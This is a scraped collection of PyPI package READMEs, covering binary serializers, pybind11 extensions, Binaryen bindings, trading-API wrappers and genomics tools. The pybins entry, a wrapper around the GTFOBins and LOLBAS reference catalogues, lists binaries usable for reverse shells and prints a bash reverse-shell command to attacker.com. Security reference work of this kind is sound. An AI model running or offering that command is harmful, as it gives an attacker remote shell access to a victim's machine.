Saravanan666/pypi-org huggingface dataset:
Package: pybinary
pybinaryA simple binary serializer/deserializer in pure python.LimitationsVariable-sized fields are not supported. No size check on assignment for the most of the types.InstallationDownload the repository and build from the sources:python3 ./setup.py build
python3 ./setup.py installExamplesELF64 headerSpec taken fromhttps://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.htmlclass Elf64_Ehdr(BinarySerializable):
    e_ident = ArrayTypes.bytearray(16)
    e_type = Types.u16
    e_machine = Types.u16
    e_version = Types.u32
    e_entry = Types.u64
    e_phoff = Types.u64
    e_shoff = Types.u64
    e_flags = Types.u32
    e_ehsize = Types.u16
    e_phentsize = Types.u16
    e_phnum = Types.u16
    e_shentsize = Types.u16
    e_shnum = Types.u16
    e_shstrndx  = Types.u16


header = Elf64_Ehdr.deserialize(input_stream_or_bytes) # deserialize header
header.e_phnum += 1 # update any field
header.serialize() # serialize and get updated bytes
...CPIO Newc ACII Format ArchiveSpec taken fromhttps://manpages.ubuntu.com/manpages/bionic/man5/cpio.5.htmlCode here
Package: pybinaryen
Python interface to the Binaryen libraryThis module provides a Python interface to thebinaryenwebassembly library.That library has to be installed separately, make sure it is available on your system as a shared library.
You may need to add something to your link library search path to let python pick it up.Requires Python 3.6 or newer.  Also works on pypy3 (because it uses cffi).The minor version number of this library tracks the binaryen release number (such as 112)Software license: MITInstallationThis Python package expects binaryen to be installed in/usr/include/and/usr/lib/. On some Linux distributions community packages are available which install Binaryen in the correct place, have a search first to see if that's available for your distribution.For distributions that don't have this, youbuild from sourceor download a release fromhttps://github.com/WebAssembly/binaryen/releasesand install it manually.Manual InstallationManual installation can be done by extracting the archive, and copying (or symlinking) the files in it to the appropriate location in/usr/.As an example here is what this might look like in GitHub Actions CI (for Ubuntu 22.04):-name:Install Binaryenrun:|wget https://github.com/WebAssembly/binaryen/releases/download/version_109/binaryen-version_109-x86_64-linux.tar.gztar -xf binaryen-version_109-x86_64-linux.tar.gzsudo ln -s $PWD/binaryen-version_109/include/binaryen-c.h /usr/include/binaryen-c.hsudo ln -s $PWD/binaryen-version_109/include/wasm-delegations.def /usr/include/wasm-delegations.defsudo ln -s $PWD/binaryen-version_109/lib/libbinaryen.a /usr/lib/libbinaryen.aExampleRunning the following code:importbinaryenmodule=binaryen.ModuleCreate()params=binaryen.TypeCreate([binaryen.TypeInt32(),binaryen.TypeInt32()],2)results=binaryen.TypeInt32()x=binaryen.LocalGet(module,0,binaryen.TypeInt32())y=binaryen.LocalGet(module,1,binaryen.TypeInt32())add=binaryen.Binary(module,binaryen.AddInt32(),x,y)adder=binaryen.AddFunction(module,b"adder",params,results,binaryen.ffi.NULL,0,add)binaryen.ModulePrint(module)binaryen.ModuleDispose(module)results in the following Webasm Text output:(module
 (type $i32_i32_=>_i32 (func (param i32 i32) (result i32)))
 (func $adder (; 0 ;) (param $0 i32) (param $1 i32) (result i32)
  (i32.add
   (local.get $0)
   (local.get $1)
  )
 )
)
Package: pybind11-geobuf
geobufC++ port ofhttps://github.com/mapbox/geobuf,
and with python binding.Python bindingInstall# from pypipipinstall-Upybind11_geobuf# from sourcegitclone--recursivehttps://github.com/cubao/geobuf-cpp
pipinstall./geobuf-cpp# or justpipinstallgit+https://github.com/cubao/geobuf-cpp.git(you can build wheels for later reuse bypip wheel git+https://github.com/cubao/geobuf-cpp.git)Seetests/test_geobuf.pyfor usage.DependenciesAll dependencies are header-only, including:rapidjsonfor JSON read/writegeojson-cppfor GeoJSON representationdependenciesvariantgeometry.hppforked from mapbox, with some modifications togeojson-cppandgeometry.hppaddedzto mapbox::geojson::pointaddedcustom_propertiesto geometry/feature/feature_collectionprotozerofor protobuf encoding/decodingdbg-macroanddoctestare dev dependencies.Simple roundtrip tests pass, have identical results to JS implementation.Developmentpull all code:gitsubmoduleupdate--init--recursivecompile & test:makebuild
maketest_all

makeroundtrip_test_js
makeroundtrip_test_cpp
Package: pybind11-numpy-example
pybind11-numpy-exampleWhatA simple example of how to usepybind11withnumpy.This C++/Python library creates astd::vectorof 16-bit ints,
and provides a Python interface to the contents of this vector in a few different ways:a PythonList(copy the data)a NumPyndarray(copy the data).a NumPyndarray(move the data).WhyPython Lists are great!
However, when storing many small elements of the same type,
a Numpy array is much faster and uses a lot less memory:HowThe pybind11 code is insrc/pybind11_numpy_example_python.cpp.The python package is defined inpyproject.tomland usesscikit-build-core.Each tagged commit triggers aGitHub action jobwhich usescibuildwheelto build and upload wheels toPyPI.The scripts used to generate the above plots are inscripts.This repo was quickly set up using the SSCC++ Project Cookiecutter.
Package: pybind11-rdp
Ramer-Douglas-Peucker Algorithm (c++ binding for python via pybind11)A speed up (~8000x) version ofpython version of rdp.C++/pybind11/NumPy implementation of the Ramer-Douglas-Peucker algorithm (Ramer 1972; Douglas and Peucker 1973) for 2D and 3D data.The Ramer-Douglas-Peucker algorithm is an algorithm for reducing the number of points in a curve that is approximated by a series of points.Installationvia pippipinstall-Upybind11-rdpfrom sourcegitclone--recursivehttps://github.com/cubao/pybind11-rdp
pipinstall./pybind11-rdpOrpip install git+https://github.com/cubao/pybind11-rdp.git(you can build wheels for later reuse bypip wheel git+https://github.com/cubao/pybind11-rdp.git)UsageTest installation:python -c 'from pybind11_rdp import rdp; print(rdp([[1, 1], [2, 2], [3, 3], [4, 4]]))'Simple pythonic interface:frompybind11_rdpimportrdprdp([[1,1],[2,2],[3,3],[4,4]])[[1,1],[4,4]]With epsilon=0.5:rdp([[1,1],[1,1.1],[2,2]],epsilon=0.5)[[1.0,1.0],[2.0,2.0]]Numpy interface:importnumpyasnpfrompybind11_rdpimportrdprdp(np.array([1,1,2,2,3,3,4,4]).reshape(4,2))array([[1,1],[4,4]])Testsmake python_install
make python_testNoticeAshttps://github.com/fhirschmann/rdp/issues/13points out,pdistinrdpisWRONGLYPoint-to-Line distance.
We use Point-to-LineSegment distance.fromrdpimportrdpprint(rdp([[0,0],[10,0.1],[1,0]],epsilon=1.0))# wrong# [[0.0, 0.0],#  [1.0, 0.0]]frompybind11_rdpimportrdpprint(rdp([[0,0],[10,0.1],[1,0]],epsilon=1.0))# correct# [[ 0.   0. ]#  [10.   0.1]#  [ 1.   0. ]]ReferencesDouglas, David H, and Thomas K Peucker. 1973. “Algorithms for the Reduction of the Number of Points Required to Represent a Digitized Line or Its Caricature.” Cartographica: The International Journal for Geographic Information and Geovisualization 10 (2): 112–122.Ramer, Urs. 1972. “An Iterative Procedure for the Polygonal Approximation of Plane Curves.” Computer Graphics and Image Processing 1 (3): 244–256.
Package: pybind11-stubgen
AboutStatic analysis tools and IDE usually struggle to understand python binary extensions.pybind11-stubgengeneratesstubsfor python extensions to make them less opaque.While the CLI tool includes tweaks to target modules compiled specifically
withpybind11but it should work well with modules built with other libraries.# Installpipinstallpybind11-stubgen# Generate stubs for numpypybind11-stubgennumpyUsagepybind11-stubgen [-h]
                 [-o OUTPUT_DIR]
                 [--root-suffix ROOT_SUFFIX]
                 [--ignore-invalid-expressions REGEX]
                 [--ignore-invalid-identifiers REGEX]
                 [--ignore-unresolved-names REGEX]
                 [--ignore-all-errors]
                 [--enum-class-locations REGEX:LOC]
                 [--numpy-array-wrap-with-annotated|
                  --numpy-array-use-type-var|
                  --numpy-array-remove-parameters]
                 [--print-invalid-expressions-as-is]
                 [--print-safe-value-reprs REGEX]
                 [--exit-code]
                 [--stub-extension EXT]
                 MODULE_NAME
Package: pybind11-union-find
pybind11-union-findOnline document:readthedocsUsageInstall:python3-mpipinstallpybind11-union-find# install from pypiMake a release(We now use Github Workflow to release to pypi. Skip the rest if you don't want to manually compile wheels.)On linuxInstall docker thenmake python_build_all_in_linux
make upload_wheelsOn macOSInstall c++ compiler and cmake.Install conda and envs:# conda create -y -n py36 python=3.6
# conda create -y -n py37 python=3.7
conda create -y -n py38 python=3.8
conda create -y -n py39 python=3.9
conda create -y -n py310 python=3.10
conda env listThenmake python_build_all_in_macos
make upload_wheelsOn windowsInstall visual studio and cmake, (also git for windows, maybe).Install conda and envs same as on macOS, then:make python_build_all_in_windows
make upload_wheels
Package: pybinding
Documentation:http://pybinding.site/v0.9.5 | 2020-08-30It has been a long time since the last version was released. The Python ecosystem has changed
quite a bit in the meantime and this has led to a number of compatibility issues when installing
or running pybinding. The main purpose of this new version is to bring this library back to life
with lots of compatibility fixes and general modernization.That said, a couple of new features have also snuck in: site and hopping generators should help
with the creation of more general models that were not possible before. They make it possible to
create heterostructures and systems with various forms of disorder.Thank you to [@MAndelkovic (Miša Anđelković)](https://github.com/MAndelkovic)
for making this release possible! And thanks to everyone who reported the various issues.#### NecromancyFixed compatibility issues with Python 3.7 and 3.8. Notably, this fixes the deadlocks as
reported in [#17](https://github.com/dean0x7d/pybinding/issues/17),
[#21](https://github.com/dean0x7d/pybinding/issues/21), and
[#23](https://github.com/dean0x7d/pybinding/issues/23).Fixed compatibility with new versions ofmatplotlib: theallow_rasterizationimport error
([#11](https://github.com/dean0x7d/pybinding/issues/11)), various warnings, and smaller visual
glitches.Fixed installation errors due to the encoding of thechangelog.mdfile
([#7](https://github.com/dean0x7d/pybinding/issues/7)).Fixed failure to compile the project from source code because the Eigen library’s download URL
changed ([#14](https://github.com/dean0x7d/pybinding/issues/14)).Fixed deprecation warnings from the latest versions ofnumpy.Fixed documentation generation withsphinxv2.x.Dropped support for Python 3.5. You must have Python 3.6 or newer to install this version.#### General bug fixesFixed reversed order ofLattice.reciprocal_vectors(): it should bea_n * b_n = 2pibut it was
accidentallya_n * b_{N-n} = 2pi.Fixed incorrect Hamiltonian construction in cases where complex hoppings were used together
with translational symmetry.#### New featuresAdded@site_generatorwhich can be used to add new sites independent of the mainLatticedefinition. This is useful for creating heterostructures or defects with various add-atoms.
See the new “Generators” section of the tutorial.@hopping_generatorhas been promoted to a regular feature and added to the tutorial. It’s
useful for creating additional local hoppings around existing sites or connecting completely new
sites which were added by a@site_generator.AddedSystem.count_neighbors()which counts the neighbors each site has. Useful for finding
edge atoms. Generators can requestsystemas an argument so that they can stitch new atoms
to the edges. See the API reference for@site_generatorand@hopping_generator.@site_state_modifier`s and `@site_position_modifier`s can now be freely ordered. Before this,
all state modifiers would be evaluated first and then all position modifiers. Now, they will
be evaluated in the exact order in which they are given to `Model. Take care: this may change
the behavior of some existing models but it will give more control to create new models which
not possible before.
Package: pybindingcurve
PyBindingCurveShave, Steven, et al. "PyBindingCurve, simulation, and curve fitting to complex binding systems at equilibrium." Journal of Chemical Information and Modeling (2021).https://doi.org/10.1021/acs.jcim.1c00216PyBindingCurve is a Python package for simulation, plotting and fitting of experimental parameters to protein-ligand binding systems at equilibrium.  In simple terms, the most basic functionality allows simulation of a two species binding to each other as a function of their concentrations and the dissociation constant (KD) between the two species.  A number of systems are built in and can be solved using direct analytical, kinetic, or Langrange multiplier based techniques.  User-defined custom systems can also be specified using a simple syntax.Try without installing on Google colab!https://colab.research.google.com/drive/1upxm56mGYWo8jvTTJjZLOEq6DT0lRy8dInstallationPyBindingCurve may be installed from source present in the GitHub repositoryhttps://github.com/stevenshave/pybindingcurvevia git pull, or from the Python Package Index (https://pypi.org/project/pybindingcurve/) using the command :pip install pybindingcurveRequirementsPyBindingCurve requires Python 3.7 or later due to custom binding systems making use of ordered dictionary keys. The following packages are also requiredMatplotlib (2.x)Numpy (1.22.x)lm_fit (1.0.0)mpmath (1.1.0)LicenseMIT LicenseUsageA tutorial and API documentation can be foundhereA quickstart example for simulation of protein-ligand binding is as follows:import numpy as np
import pybindingcurve as pbc
my_system = pbc.BindingCurve("1:1")
system_parameters = {"p": np.linspace(0, 20), "l": 10, "kdpl": 1}
my_system.add_curve(system_parameters)
my_system.show_plot()Tests written using the pytest framework may be run with 'pytest' (ensure pytest is installed in your python environment, or pip install it)AuthorsPyBindingCurve was written by Steven ShavePlease get in contact for custom solutions, integration to existing workflows and training.
Package: py-bingads
Python wrapper for theBingAds Python SDKwhich interacts with Bing Ads API web services. This library’s goal is to make a more Pythonic version of the
BingAds Python SDK. Extensions and pull requests are encouraged and welcome.ReleasesInformation about releases and changes with versions can be found in therelease history.DependenciesbingadssixInstallationpip install py-bingadsUsage>>>frompy_bingads.servicesimportBingAdsRunning tests & coverageThe whole test suite is run by:inv testTo run a single test just runpy.test -vv –doctest-modules
tests/…/test_something.pyinside the virtual env.The code coverage is stored in.coverage(pickled) and in the _coverage/
directory (HTML).The HTML coverage report can then be opened in a browser by:open _coverage/index.htmlDocumentation[to do]Contributing“If you want to go fast, go alone. If you want to go far, go together.”
– African proverbWe would love for you to contribute! Please read through ourcontributing guidelines.Code of ConductCollaboration is happiest and most fruitful when people work with one another in a compassionate manner.
Please take a few moments to read through ourcode of conductbefore contributing.Release History0.1.4 (2018-05-29)Remove support of tuples for negative keywords0.1.3 (2018-05-28)Fix negative keywords0.1.2 (2018-05-28)Fix encoding issues0.1.1 (2018-05-28)Allow tuples to be passed as negative keywords0.1.0 (2018-02-23)Birth!
Package: py-bingx
Updated 1st Oct 2023py-bingx is an unofficial Python wrapper for theBingX Perpetual Swap API.
I am not affiliated with BingX.TODOAdd Response exception handling.Implement the remaining less important endpoints.UsageRegister an account onBingX.Create an APIand make sure you copy you Secret Key before leaving the page.pipinstallpy-bingxfrombingx.apiimportBingxAPI...API_KEY='<api_public_key>'SECRET_KEY='<api_secret_key>'# It is faster and more efficient to use local timestamps. If you are getting an error try using "server" timestamp.bingx=BingxAPI(API_KEY,SECRET_KEY,timestamp="local")order_data=bingx.open_market_order('FLOKI-USDT','LONG',121220,tp="0.00001800",sl="0.00001700")Functionspy-bingx was written with the goal of being user-friendly. Feel free to ask your questions and state any bugs/issues with the code.You can find the list of py-bingx functions below:Market Data Functionsget_all_contracts()- Gets a list of all contracts/trading pairs available on Bingxget_latest_price(pair)- Gets the latest price for a trading pairget_market_depth(pair, limit)- Gets the order book depth data for a trading pairget_latest_trade(pair)- Gets recent trades for a trading pairget_latest_funding(pair)- Gets latest funding rate for a trading pairget_index_price(pair)- Gets index price for a trading pairget_market_price(pair)- Gets market price for a trading pairget_funding_history(pair)- Gets historical funding rate data for a trading pairget_kline_data(pair, interval, start_time, end_time, limit)- Gets candlestick/kline data for a trading pairget_open_positions(pair)- Gets open interest data for a trading pairget_tiker(pair)- Gets ticker data including 24hr prices and volumesget_current_optimal_price(pair)- Gets best bid and offer prices for a trading pairAccount Data Functionsget_perpetual_balance()- Get user account balance infoget_my_perpetual_swap_positions(pair)- Get user open positions for a trading pairget_fee_rate()- Get fee rate for tradingTrading Functionsopen_market_order()- Opens a market order to buy/sell a trading pairclose_market_order()- Closes an open market orderplace_trigger_market_order()- Places a stop-trigger market orderopen_limit_order()- Opens a limit order for a trading pairclose_limit_order()- Closes an open limit orderplace_trigger_limit_order()- Places a stop-trigger limit orderplace_trailing_stop_order()- Places a trailing stop orderplace_test_order()- Places a test order that does not executeclose_all_positions()- Closes all open positions for usercancel_order()- Cancels a pending ordercancel_all_orders_of_symbol()- Cancels all pending orders for a trading paircancel_batch_orders()- Cancels multiple pending orders
Package: pybinio
PyBinIOPyBinIO- is a wrapper around thestructpython module. It contains
convenient reader and writer classes that can be used to write primitive data
types in a specific byte order.In addition it supports:LEB128for encodingunsignedvariable length integers.Zigzagfor encodingsignedvariable length integers.InstallThe package is available on PyPI.$python3-mpipinstallpybinioUsageimportbiniovalue=255writer=binio.BinaryWriter(binio.ByteOrder.LITTLE)writer.write_uint8(value)reader=binio.BinaryReader(writer.bytes,binio.ByteOrder.LITTLE)assertvalue==reader.read_uint8()
Package: pyb_init
What it doesWhen using thepybuilder, every project
needs to be initialized. After checking out the project, you need toCreate a virtual environment.Activate the virtual environment.Install the pybuilder in the virtual environment.Install the project dependencies in the virtual environment.Run pyb to build and test your project.This program is an attempt at making these routine operations dead
simple and time-efficient. Note that virtual environments are always
created with the –clear flag, meaning you can run pyb-init toresetyour virtual environment, for example after changing a dependency.Installationsudo pip install pyb_initCheckout from GitHubpyb-init github user : projectGit checkoutpyb-init git GIT_URLInitialization from local projectWhen in the project root, runpyb-init localCustomization of the generated environmentYou can override the default name of the virtualenv with--virtualenv-name=<name>Also, you can include your systems’s site-packages in the virtualenv (for OS-packaged bindings like YUM, etc..) with the flag-sLicensepyb_init is licensed under the terms of the Do What The Fuck You Want To public license.
Package: pybinlog
pybinlogUtility functions to parse Ardupilot's log file in bin format.
Provides coomand line options to convert from bin file to csv.bin2csvFile converter from Ardupilot's log files in bin format to CSV files.Usagebin2csv [-h] [-m Messages] [-o output_directory] [filepath]Convert bin file provided byfilepathto csv files.Optional Arguments-m Messages only converts the Messages provides, a comma separated string.-o output_directory Writes the csv files to provided output_directory.bin2csvguiStarts the gui application for converting the selected file to csv.Optionally select the required messages and output directory.InstallationInstall the package using pip by runningpip install pybinlogIf you are running an older version, upgrade the package by runningpip install pybinlog --upgrade
Package: pybins
PyBinsPyBins is a command line utily that wraps the content ofGTFOBinsandLOLBASInstalation:pip install pybinsUsage:usage: pybins [-h] [-p PLATFORM] [-b BINARY] [-f FUNCTION]

PyBins Cmd Line wraper for GTFOBin and LOLBas

optional arguments:
  -h, --help            show this help message and exit
  -p PLATFORM, --platform PLATFORM
                        Select the platform to lookup, Win/Windows or
                        Lin/Linux, case insensitive
  -b BINARY, --binary BINARY
                        The binary to lookup
  -f FUNCTION, --function FUNCTION
                        The function to lookupExamplesList platform available binaries and functions/categories:pybins -p winpybins -p windowspybins -p linpybins -p linuxList all linux binaries with reverse-shell function:pybins -p lin -f reverse-shellpybins -p linux -f reverse-shellOutputThe Function reverse-shell has the following binaries:

nc           perl     ksh    rview               cpan     node          telnet        irb
python       gdb      pip    bash                view     openssl       gimp          rvim
socat        vim      php    jrunscript          jjs      ruby          vimdiff       easy_installList all functions of the Linus binary bashpybins -p lin -b bashpybins -p linux -b bashOutputThe binary bash has the following categories:

shell    reverse-shell      file-upload     file-download      file-write     file-read    library-load
suid     sudoList all the commands for the binary bash and function reverse-shell on linuxpybins -p lin -b bash -f reverse-shellpybins -p linux -b bash -f reverse-shellOutputDescription:  Run `nc -l -p 12345` on the attacker box to receive the shell.
Command:      export RHOST=attacker.com
              export RPORT=12345
              bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
Package: pybio
pybio: basic genomics toolsetpybiois a comprehensive Python framework designed to streamline genomics operations. It offers a direct interface to Ensembl genome assemblies and annotations, while also accommodating custom genomes via FASTA/GTF inputs. The primary objective ofpybiois to simplify genome management. It achieves this by providing automatic download of Ensembl genome assemblies and annotation, provides Python genomic feature search and sequence retrieval from the managed genomes, STAR indexing and mapping and more.Quick StartInstall via pip and download + prepare human genome:pip install pybio
pybio genome homo_sapiensSearch genome features (exons, transcripts, genes) from Python:import pybio
result = pybio.core.genomes.annotate("homo_sapiens", "1", "+", 11012344)
genes, transcripts, exons, UTR5, UTR3 = resultRetrieve genomic sequences from Python:import pybio
seq = pybio.core.genomes.seq("homo_sapiens", "1", "+", 450000, -20, 20)Check documentation for more examples.DocumentationPDF reference manualGoogle docsof the above PDF (comment if you like)Authorspybiois developed and supported byGregor Rot.Issues and SuggestionsUse theissues pageto report issues and leave suggestions.Change logv0.3.12: November 2023updated docs